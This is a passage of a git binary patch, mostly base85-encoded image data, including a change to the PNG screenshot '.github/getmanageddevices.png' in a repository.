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 diff --git a/.github/getmanageddevices.png b/.github/getmanageddevices.png index 111467a813d97bc48e72ad0c687ecff4d63b9eec..1649fed87f80694ebd0662f395f51b5eae29808a 100644 GIT binary patch literal 51036 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 